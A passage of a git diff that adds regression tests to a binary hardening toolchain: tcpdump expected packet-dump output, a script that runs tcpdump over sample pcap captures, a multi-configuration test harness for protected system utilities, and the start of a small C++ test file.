+	 0x0030:  7420 6269 6e61 7279 206d 6573 7361 6765  t.binary.message
+	 0x0040:  2061 6e64 2061 206c 6f6e 6765 7220 4153  .and.a.longer.AS
+	 0x0050:  4349 4920 6d65 7373 6167 652e            CII.message.
+
+IP (tos 0x0, ttl 64, id 51306, offset 0, flags [DF], proto TCP (6), length 84)
+    127.0.0.1.33000 > 127.0.0.1.55358: Flags [P.], cksum 0xfe48 (incorrect -> 0xc80f), seq 3:35, ack 99, win 256, options [nop,nop,TS val 245537399 ecr 245537399], length 32: ZMTP/1.0
+	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+	 frame flags+body  (8-bit) length 29, flags 0x00 (-|-|-|-|-|-|-|-), first 28 byte(s) of body:
+	 0x0000:  5468 6973 2069 7320 6120 7368 6f72 7420  This.is.a.short.
+	 0x0010:  4153 4349 4920 7265 706c 792e            ASCII.reply.
+
+IP (tos 0x0, ttl 64, id 17998, offset 0, flags [DF], proto TCP (6), length 72)
+    127.0.0.1.55358 > 127.0.0.1.33000: Flags [P.], cksum 0xfe3c (incorrect -> 0xcef8), seq 99:119, ack 35, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 20: ZMTP/1.0
+	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+	 frame flags+body  (8-bit) length 17, flags 0x00 (-|-|-|-|-|-|-|-), first 16 byte(s) of body:
+	 0x0000:  0001 0203 0405 0607 0809 0a0b 0c0d 0e0f  ................
+
+IP (tos 0x0, ttl 64, id 51307, offset 0, flags [DF], proto TCP (6), length 84)
+    127.0.0.1.33000 > 127.0.0.1.55358: Flags [P.], cksum 0xfe48 (incorrect -> 0xc7da), seq 35:67, ack 119, win 256, options [nop,nop,TS val 245537400 ecr 245537399], length 32: ZMTP/1.0
+	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+	 frame flags+body  (8-bit) length 29, flags 0x00 (-|-|-|-|-|-|-|-), first 28 byte(s) of body:
+	 0x0000:  5468 6973 2069 7320 6120 7368 6f72 7420  This.is.a.short.
+	 0x0010:  4153 4349 4920 7265 706c 792e            ASCII.reply.
+
+IP (tos 0x0, ttl 64, id 17999, offset 0, flags [DF], proto TCP (6), length 603)
+    127.0.0.1.55358 > 127.0.0.1.33000: Flags [P.], cksum 0x0050 (incorrect -> 0xafc1), seq 119:670, ack 67, win 257, options [nop,nop,TS val 245537400 ecr 245537400], length 551: ZMTP/1.0
+	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+	 frame flags+body (64-bit) length 540, flags 0x00 (-|-|-|-|-|-|-|-), first 128 byte(s) of body:
+	 0x0000:  5468 6520 7175 6963 6b20 6272 6f77 6e20  The.quick.brown.
+	 0x0010:  666f 7820 6a75 6d70 7320 6f76 6572 2074  fox.jumps.over.t
+	 0x0020:  6865 206c 617a 7920 646f 672e 2054 6865  he.lazy.dog..The
+	 0x0030:  2071 7569 636b 2062 726f 776e 2066 6f78  .quick.brown.fox
+	 0x0040:  206a 756d 7073 206f 7665 7220 7468 6520  .jumps.over.the.
+	 0x0050:  6c61 7a79 2064 6f67 2e20 5468 6520 7175  lazy.dog..The.qu
+	 0x0060:  6963 6b20 6272 6f77 6e20 666f 7820 6a75  ick.brown.fox.ju
+	 0x0070:  6d70 7320 6f76 6572 2074 6865 206c 617a  mps.over.the.laz
+
+IP (tos 0x0, ttl 64, id 51308, offset 0, flags [DF], proto TCP (6), length 84)
+    127.0.0.1.33000 > 127.0.0.1.55358: Flags [P.], cksum 0xfe48 (incorrect -> 0xc592), seq 67:99, ack 670, win 256, options [nop,nop,TS val 245537400 ecr 245537400], length 32: ZMTP/1.0
+	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+	 frame flags+body  (8-bit) length 29, flags 0x00 (-|-|-|-|-|-|-|-), first 28 byte(s) of body:
+	 0x0000:  5468 6973 2069 7320 6120 7368 6f72 7420  This.is.a.short.
+	 0x0010:  4153 4349 4920 7265 706c 792e            ASCII.reply.
+
+IP (tos 0x0, ttl 64, id 18000, offset 0, flags [DF], proto TCP (6), length 52)
+    127.0.0.1.55358 > 127.0.0.1.33000: Flags [F.], cksum 0xfe28 (incorrect -> 0x16d8), seq 670, ack 99, win 257, options [nop,nop,TS val 245537400 ecr 245537400], length 0
+IP (tos 0x0, ttl 64, id 51309, offset 0, flags [DF], proto TCP (6), length 52)
+    127.0.0.1.33000 > 127.0.0.1.55358: Flags [F.], cksum 0xfe28 (incorrect -> 0x16d8), seq 99, ack 671, win 256, options [nop,nop,TS val 245537400 ecr 245537400], length 0
+IP (tos 0x0, ttl 64, id 18001, offset 0, flags [DF], proto TCP (6), length 52)
+    127.0.0.1.55358 > 127.0.0.1.33000: Flags [.], cksum 0xfe28 (incorrect -> 0x16d7), ack 100, win 257, options [nop,nop,TS val 245537400 ecr 245537400], length 0
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/zmtp1.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/zmtp1.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..55aebea2fc99c4277985d43d8b58c74986205aac
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/zmtp1.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/test_script.sh b/peasoup_examples/tests/tcpdump/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..dfc1a02b0721fdb324f8eeb07cb4dd0fab27584f
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/test_script.sh
@@ -0,0 +1,69 @@
+#!/bin/bash 
+
+TEST_DIR=$PEASOUP_HOME/tests/tcpdump
+TEST_LIB="$(realpath "$TEST_DIR/../manual_test_lib.sh")"
+
+#used for filtering program names from output.
+ORIG_NAME=tcpdump
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+DELETE_FILTER="stonesoup|gcc|lib|DUMMY|exec|python|tcpdump"
+
+run_basic_test 20 -h
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/bgp_vpn_attrset.pcap -t -v
+
+# sanity check tcpdump
+timeout 10 $BENCH -n -r $TEST_DIR/tcpd_tests/bgp_vpn_attrset.pcap -t -v | grep -i "message" >/dev/null 2>&1
+if [ ! $? -eq 0 ];then
+	report_failure
+fi
+
+run_basic_test 20 -$i -s0 -nr $TEST_DIR/tcpd_tests/print-flags.pcap
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/mpbgp-linklocal-nexthop.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/eapon1.pcap -t
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/02-sunrise-sunset-esp.pcap -t -n
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/02-sunrise-sunset-esp.pcap -t -E "0x12345678@192.1.2.45 3des-cbc-hmac96:0x4043434545464649494a4a4c4c4f4f515152525454575758"
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/08-sunrise-sunset-esp2.pcap -t -E "0x12345678@192.1.2.45 3des-cbc-hmac96:0x43434545464649494a4a4c4c4f4f51515252545457575840,0xabcdabcd@192.0.1.1 3des-cbc-hmac96:0x434545464649494a4a4c4c4f4f5151525254545757584043"
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/02-sunrise-sunset-esp.pcap -t -E "3des-cbc-hmac96:0x4043434545464649494a4a4c4c4f4f515152525454575758"
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/08-sunrise-sunset-esp2.pcap -t -E "file esp-secrets.txt"
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/08-sunrise-sunset-aes.pcap -t -E "file esp-secrets.txt"
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/espudp1.pcap -nnnn -t -E "file esp-secrets.txt"
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/isakmp-delete-segfault.pcap -t
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/isakmp-pointer-loop.pcap -t
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/isakmp-identification-segfault.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/isakmp4500.pcap -t -E "file esp-secrets.txt"
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/mpls-ldp-hello.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/ospf-gmpls.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/ikev2four.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/ikev2four.pcap -t -v -v -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/ikev2four.pcap -t -v -v -v -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/ikev2pI2.pcap -t -E "file ikev2pI2-secrets.txt" -v -v -v -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/dio.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/e1000g.pcap -t
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/forces1.pcap -t
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/forces1.pcap -t -v -v -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/forces1.pcap -t -v -v -v -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/QinQpacket.pcap -t -e
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/QinQpacket.pcap -t -e -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/sflow_multiple_counter_30_pdus.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/babel.pcap -t
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/babel.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/babel_auth.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/pppoe.pcap -t
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/igmpv3-queries.pcap -t
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/icmpv6.pcap -t -vv
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/spb.pcap -t
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/spb_bpduv4.pcap -t
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/ripv1v2.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/ripv2_auth.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/dhcpv6-AFTR-Name-RFC6334.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/dhcpv6-ia-na.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/dhcpv6-ia-pd.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/dhcpv6-ia-ta.pcap -t -v
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/zmtp1.pcap -t -v -T zmtp1
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/msnlb.pcap -t
+run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/msnlb2.pcap -t
+run_basic_test 20  -t -n -v -v -v -r $TEST_DIR/tcpd_tests/lmp.pcap 
+report_success
diff --git a/peasoup_examples/tests/test_cmds.sh b/peasoup_examples/tests/test_cmds.sh
new file mode 100755
index 0000000000000000000000000000000000000000..cc9c33824c4f2b8cc7ace3446ed78d02e9a90d40
--- /dev/null
+++ b/peasoup_examples/tests/test_cmds.sh
@@ -0,0 +1,475 @@
+#!/bin/bash
+
+show_logs_on_failure=0
+had_fails=0
+apps=""
+declare -A app_path
+default_apps="bzip2 grep du ncal ls objdump readelf sort tar touch tcpdump"
+configs=""
+default_configs="rida"
+
+do_tests()
+{
+	local configs="$1"
+	local progs_to_test="$2"
+
+	build_only=0
+
+#	export IB_VERBOSE=1
+
+	progs_pass=""
+	progs_fail=""
+	progs_pass_peasoup=""
+	progs_fail_peasoup=""
+
+	for config in $configs
+	do
+		export SELF_VALIDATE=$config
+
+		echo "----------------------------------"
+		echo "TEST CONFIGURATION: $config"
+
+		if [ -d tmp_test_area.$config ]; then
+			rm -fr tmp_test_area.$config
+		fi
+
+		mkdir tmp_test_area.$config
+
+		pushd .
+		cd tmp_test_area.$config
+
+		for prog in $progs_to_test
+		do
+			# use same name 
+			protected=${prog}
+			temp_dir=tmp.${prog}.protected
+
+			if [ -d $temp_dir ]; then
+				rm -fr $temp_dir
+			fi
+
+			if [ -e $protected ]; then
+				rm $protected
+			fi
+
+
+			progpath="${app_path[$prog]}"
+			if [ "$progpath" = "" ]; then
+				echo "TEST: Original binary ($prog) not found: skipping..."
+				continue
+			fi
+			progpath=$(realpath $progpath)
+			echo "TEST ($config) ${prog}=${progpath}: Protecting..."
+
+			
+			case $config in
+				zafl)
+					zafl.sh $progpath $protected --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				zafl_domgraph)
+					zafl.sh $progpath $protected -d --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				zafl0)
+					ZAFL_LIMIT_END=0 zafl.sh $progpath $protected --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				zafl_untracer)
+					zafl.sh $progpath $protected --rida --tempdir $temp_dir --untracer > test_${prog}.ps.log 2>&1
+				;;
+				zafl_untracer_fix_map)
+					zafl.sh $progpath $protected --rida -m --tempdir $temp_dir --untracer > test_${prog}.ps.log 2>&1
+				;;
+				zafl_untracer_critical_edges)
+					zafl.sh $progpath $protected --rida --tempdir $temp_dir --untracer -c > test_${prog}.ps.log 2>&1
+				;;
+				zafl_untracer_critical_edges_fix_map)
+					zafl.sh $progpath $protected -m --rida --tempdir $temp_dir --untracer -c > test_${prog}.ps.log 2>&1
+				;;
+				zafl_rida)
+					zafl.sh $progpath $protected --rida --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				zafl_ida)
+					zafl.sh $progpath $protected --ida --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				zafl_ida_nostars)
+					zafl.sh $progpath $protected --ida --no-stars --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				zafl_nostars)
+					zafl.sh $progpath $protected --no-stars --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				zafl_opt_graph)
+					zafl.sh $progpath $protected -g --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				zafl_rida)
+					zafl.sh $progpath $protected --rida --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				zafl_fix_map)
+					zafl.sh $progpath $protected --rida -m --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				zipr)
+					$PSZ $progpath $protected --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				ida)
+					$PSZ $progpath $protected -s meds_static=on -s rida=off --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				rida)
+					$PSZ $progpath $protected -s meds_static=off -s rida=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				rida_p1)
+					$PSZ $progpath $protected -s meds_static=off -s rida=on -c p1transform=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				ida_scfi)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected -s meds_static=on -s rida=off -s selective_cfi=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				rida_scfi)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected -s meds_static=off -s rida=on -s selective_cfi=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				rida_p1_scfi)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected -s meds_static=off -s rida=on -s p1transform=on -s selective_cfi=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				p1)
+					$PSZ $progpath $protected -c p1transform=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				mga)
+					$PSZ $progpath $protected -c move_globals=on -o --aggressive --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				rida_mga_p1)
+					$PSZ $progpath $protected -c rida -c move_globals=on -o --aggressive -c p1transform --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				mgc)
+					$PSZ $progpath $protected -c move_globals=on -o --conservative --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				mg_elfonly)
+					$PSZ $progpath $protected -c move_globals=on -o move_globals:--elftables-only --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				mgx)
+					$PSZ $progpath $protected -c move_globals=on --step-option move_globals:--aggressive --step xor_globals=on  --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				mgx_p1)
+					$PSZ $progpath $protected -c move_globals=on --step-option move_globals:--aggressive -c xor_globals=on -c p1transform=on  --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				p1_mgx)
+					$PSZ $progpath $protected -c p1transform=on -c move_globals=on --step-option move_globals:--aggressive -c xor_globals=on --step p1transform=on  --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				scfi.color)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected --backend zipr --step selective_cfi=on --step-option selective_cfi:--color --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				scfi.color.nojmps)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected --backend zipr --step selective_cfi=on --step-option selective_cfi:--color --step-option selective_cfi:--no-protect-jumps --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				scfi)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected -c selective_cfi=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				p1_scfi)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected -c p1transform=on -c selective_cfi=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				rida_p1_scfi)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ -c rida $progpath $protected -c p1transform=on -c selective_cfi=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				p1_scfi_mga)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected -c p1transform=on -c selective_cfi=on -c move_globals=on --step-option move_globals:--aggressive --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				rida_p1_scfi_mga)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ -c rida $progpath $protected -c p1transform=on -c selective_cfi=on -c move_globals=on --step-option move_globals:--aggressive --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				kill_deads)
+					$PSZ $progpath $protected -c kill_deads=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				kill_deads.rida)
+					$PSZ $progpath $protected -c rida -c kill_deads=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				scdi)
+					SimpleCDI_VERBOSE=1 $PSZ $progpath $protected --backend zipr --step simple_cdi=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				shadow)
+					$PSZ $progpath $protected --backend zipr --step fptr_shadow=on --step-option "zipr:--zipr:callbacks $ZIPR_INSTALL/bin/callbacks.datashadow.exe" --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				shadow.scfi)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected --backend zipr --step fptr_shadow=on --step selective_cfi=on --step-option "zipr:--zipr:callbacks $ZIPR_INSTALL/bin/callbacks.datashadow.exe" --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				scfi.shadow)
+					echo "make copy of fptr_shadow.exe --> shadow.exe to force the shadow step to occur after the scfi step"
+					cp $SECURITY_TRANSFORMS_HOME/plugins_install/fptr_shadow.exe $SECURITY_TRANSFORMS_HOME/plugins_install/shadow.exe
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected --backend zipr --step shadow=on --step selective_cfi=on --step-option "zipr:--zipr:callbacks $ZIPR_INSTALL/bin/callbacks.datashadow.exe" --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				killdeads_strata)
+					$PSZ $progpath $protected --backend strata --step ibtl=on --step ilr=on --step kill_deads=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				ibtl)
+					$PSZ $progpath $protected --backend strata --step ibtl=on --step ilr=on --step pc_confine=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				ibtl_p1)
+					$PSZ $progpath $protected --backend strata --step ibtl=on --step ilr=on --step pc_confine=on --step p1transform=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				mvp1v1)
+					$VGT -i $progpath -c mvp1 -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-1/bin/$(basename $progpath) $protected 
+				;;
+				mvp1v2)
+					$VGT -i $progpath -c mvp1 -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-2/bin/$(basename $progpath) $protected 
+				;;
+				mvp2v1)
+					$VGT -i $progpath -c mvp2 -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-1/bin/$(basename $progpath) $protected 
+				;;
+				mvp2v2)
+					$VGT -i $progpath -c mvp2 -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-2/bin/$(basename $progpath) $protected 
+				;;
+				mvp3v1)
+					$VGT -i $progpath -c mvp3 -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-1/bin/$(basename $progpath) $protected 
+				;;
+				mvp3v2)
+					$VGT -i $progpath -c mvp3 -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-2/bin/$(basename $progpath) $protected 
+				;;
+				mvp3v3)
+					$VGT -i $progpath -c mvp3 -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-3/bin/$(basename $progpath) $protected 
+				;;
+				mvp4v1)
+					$VGT -i $progpath -c mvp4 -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-1/bin/$(basename $progpath) $protected 
+				;;
+				mvp4v2)
+					$VGT -i $progpath -c mvp4 -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-2/bin/$(basename $progpath) $protected 
+				;;
+				mvp4v3)
+					$VGT -i $progpath -c mvp4 -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-3/bin/$(basename $progpath) $protected 
+				;;
+				mvpAv1)
+					$VGT -i $progpath -c mvpA -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-1/bin/$(basename $progpath) $protected 
+				;;
+				mvpAv2)
+					$VGT -i $progpath -c mvpA -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-2/bin/$(basename $progpath) $protected 
+				;;
+				mvpBv1)
+					$VGT -i $progpath -c mvpB -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-1/bin/$(basename $progpath) $protected 
+				;;
+				mvpBv2)
+					$VGT -i $progpath -c mvpB -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-2/bin/$(basename $progpath) $protected 
+				;;
+				mvpCv1)
+					$VGT -i $progpath -c mvpC -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-1/bin/$(basename $progpath) $protected 
+				;;
+				mvpCv2)
+					$VGT -i $progpath -c mvpC -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-2/bin/$(basename $progpath) $protected 
+				;;
+				mvpCv3)
+					$VGT -i $progpath -c mvpC -o $temp_dir > test_${prog}.ps.log 2>&1
+					cp $temp_dir/vs-1/variant-3/bin/$(basename $progpath) $protected 
+				;;
+				fix_calls_ida)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected -s meds_static=on -s rida=off --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				fix_calls_rida)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected -s meds_static=off -s rida=on --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				fix_calls)
+					FIX_CALLS_FIX_ALL_CALLS=1 $PSZ $progpath $protected --tempdir $temp_dir > test_${prog}.ps.log 2>&1
+				;;
+				orig)
+					cp $progpath $protected 
+				;;
+				expect_fail)
+					set -x
+					base_prog=$(basename $progpath)
+					if [ $base_prog = "ls" ]; then
+						cp $(which diff) $protected 
+					else
+						cp $(which ls) $protected 
+					fi
+				;;
+				*)
+					echo "Unknown configuration requested -- exiting"
+					exit 1
+					continue
+				;;
+			esac
+
+			if [ ! $? -eq 0 ]; then
+				echo "TEST ($config) ${prog}: FAILED to peasoupify"
+				progs_fail_peasoup="$progs_fail_peasoup $prog.$config"
+				cat test_${prog}.ps.log
+				if [ $show_logs_on_failure -eq 1 ]; then
+					cat $temp_dir/logs/*.log
+				fi
+				continue
+			else
+				progs_pass_peasoup="$progs_pass_peasoup $prog.$config"
+			fi
+
+			if [ $build_only -eq 1 ]; then
+				continue
+			fi
+
+			echo "TEST ($config) ${prog}: Running tests..."
+			TEST_VERBOSE=1 timeout 300 ../$prog/test_script.sh $progpath ./$protected > test_${prog}.log 2>&1
+			if [ $? -eq 0 ]; then
+				if [ "$config" != "expect_fail" ]; then
+					echo "TEST ($config) ${prog}: PASS"
+					progs_pass="$progs_pass $prog.$config"
+				else
+					progs_fail="$progs_fail $prog.$config"
+					if [ $show_logs_on_failure -eq 1 ]; then
+						cat test_${prog}.log
+					fi
+				fi
+			else
+				if [ "$config" != "expect_fail" ]; then
+					echo "TEST ($config) ${prog}: FAIL"
+					progs_fail="$progs_fail $prog.$config"
+					if [ $show_logs_on_failure -eq 1 ]; then
+						cat test_${prog}.log
+					fi
+				else
+					progs_pass="$progs_pass $prog.$config"
+				fi
+			fi
+		done
+
+		echo
+		echo "================================================"
+		echo "TEST SUMMARY PASS (build): $progs_pass_peasoup"
+		echo "TEST SUMMARY PASS (functional): $progs_pass"
+		echo "TEST SUMMARY FAIL (build): $progs_fail_peasoup"
+		echo "TEST SUMMARY FAIL (functional): $progs_fail"
+
+		popd
+
+	done
+
+	if [[ $progs_fail != "" ]] || [[ $progs_fail_peasoup != "" ]]; then
+		had_fails=1
+	fi
+}
+
+usage()
+{
+	echo "test_cmds.sh [options]"
+	echo	
+	echo "options:"
+	echo "   -h, --help              print help info"
+	echo "   -l                      print logs on failure"
+	echo "   -a, --app <appname>     app to test (may be repeated)"
+	echo "      appname: bzip2 grep du ncal ls objdump readelf sort tar touch tcpdump"
+	echo "   -c, --config <config>"
+	echo
+	echo "config:"
+	echo "    rida                   (default configuration)"
+	echo "    orig                   test against self"
+	echo "    fail                   deliberately induce failure"
+	echo "    p1                     P1 transform"
+	echo "    mgx                    move globals"
+	echo "    mgx_p1                 move globals, followed by P1"
+	echo "    kill_deads             xform with bogus random values for dead registers"
+	echo
+	echo "    ...too many other configs to list, consult script"
+}
+
+parse_args()
+{
+	PARAMS=""
+	while (( "$#" )); do
+		key="$1"
+
+		case $key in
+			-h|--help)
+				usage
+				exit 0
+				;;
+			-l)
+				show_logs_on_failure=1
+				shift
+				;;
+			-a|--app)
+				apps="$apps $2 "
+				shift 2
+				;;
+			-c|--config)
+				configs="$configs $2 "
+				shift 2
+				;;
+			-*|--*=) # unsupported flags
+				echo "Error: Unsupported flag $1" >&2
+				exit 1
+				;;
+    			*) # preserve positional arguments
+				PARAMS="$PARAMS $1"
+				shift
+				;;
+		esac
+	done
+
+	eval set -- "$PARAMS"
+
+	# backward compatibility where all configs passed as positional parameters
+	# should really use -c option only
+
+	positional=($PARAMS)
+
+	if [[ $positional != "" ]]; then
+		configs="$configs $positional"
+	fi
+
+	if [[ $configs == "" ]]; then
+		configs=" $default_configs"
+	fi
+
+	if [[ $apps == "" ]]; then
+		apps=" $default_apps"
+	fi
+
+}
+
+
+process_apps()
+{
+	local new_apps=""
+	local fields=()
+	for i in $apps
+	do
+		IFS="=" read -ra fields <<< $i
+		if [[ ${#fields[@]} -gt 2 ]]; then
+			echo "Cannot separate  $i into 2 fields based on delimiter '='"
+			exit 1
+		elif [[ ${#fields[@]} -eq 2 ]]; then
+			app_path[${fields[0]}]=${fields[1]}
+		elif [[ ${#fields[@]} -eq 1 ]]; then
+			app_path[${fields[0]}]=$(which ${fields[0]})
+		fi
+
+		new_apps="$new_apps ${fields[0]}"
+	done
+	apps="$new_apps"
+}
+
+main()
+{
+	parse_args "$@"
+	process_apps
+
+	echo 
+	echo "test configuration"
+	echo "    apps: $apps"
+	echo " configs: $configs"
+	if [ $show_logs_on_failure -eq 1 ]; then
+		echo "test log:  show-on-failure"
+	fi
+	echo 
+
+	do_tests "$configs" "$apps"
+
+	exit $had_fails
+}
+
+main "$@"
diff --git a/peasoup_examples/tests/test_scripts/foo.cpp b/peasoup_examples/tests/test_scripts/foo.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..a2cee719e9ba16e97cf1a9adee1a99f96b90ac29
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo.cpp
@@ -0,0 +1,14 @@
+#include <iostream>
+#include <string>
+
+using namespace std;
+
+int foo(int a)
+{
+	cout<<"In foo with a="<<a<<endl;
+
+	if(a>1)
